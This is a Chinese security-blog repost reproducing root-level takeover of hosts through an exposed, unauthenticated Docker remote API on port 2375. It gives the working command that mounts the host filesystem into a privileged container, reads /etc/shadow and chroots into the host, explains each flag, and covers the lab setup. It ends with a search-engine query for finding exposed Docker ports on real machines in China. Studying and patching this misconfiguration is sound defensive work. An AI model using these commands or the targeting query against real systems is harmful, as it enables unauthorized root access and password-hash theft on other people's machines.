Easy RCE using Docker API 复现

admin 2021年4月23日04:06:58评论99 views字数 1301阅读4分20秒阅读模式

漏洞来源:

https://twitter.com/ptswarm/status/1338477426276511749/photo/1


payload: docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mut alpineFile Access: cat /mnt/etc/shadow RCE: chroot /mnt

原理:

Docker提供了远程管理接口。

Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令

端口2375:未加密的docker socket,远程root无密码访问主机


复现环境:

kali

centos

各安装docker


安装centos因为现装的,啥环境都没

docker安装:

sudo apt -y install curl gnupg2 apt-transport-https software-properties-common ca-certificatescurl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -echo "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" | sudo tee  /etc/apt/sources.list.d/docker.listapt updateapt install docker-ce docker-ce-cli containerd.iodocker version


docekr配置文件:

/usr/lib/systemd/system/docker.service

开启远程访问连接的api:

Easy RCE using Docker API 复现

systemctl daemon-reloadsystemctl restart docker

验证端口是否开启:

netstat -anlp|grep 2375


Easy RCE using Docker API 复现

nmap扫描:

Easy RCE using Docker API 复现


kali执行:

kail已经安装docker了这就不多说了快下班了~

docker -H 192.168.5.135:2375 run --rm -it --privileged --net=host -v /:/mut alpine


run               =运行--rm              =用于foreground模式的容器-it               =指示Docker分配一个与容器的stdin连接的伪TTY;在容器中创建一个交互式bash shell--privileged      =在启动的容器,可以看到很多host上的设备,并且可以执行mount--net=host        =加了net=host后会使得创建的容器进入命令行好名称显示为主机的名称而不是一串id-v                =把宿主机的目录挂载到容器中alpine            =镜像

结果总结:


环境一下午复现2分钟


Easy RCE using Docker API 复现


实战语法:

port="2375" && protocol == docker && country="CN" 

本文始发于微信公众号(Khan安全团队):Easy RCE using Docker API 复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月23日04:06:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Easy RCE using Docker API 复现https://cn-sec.com/archives/206981.html

发表评论

匿名网友 填写信息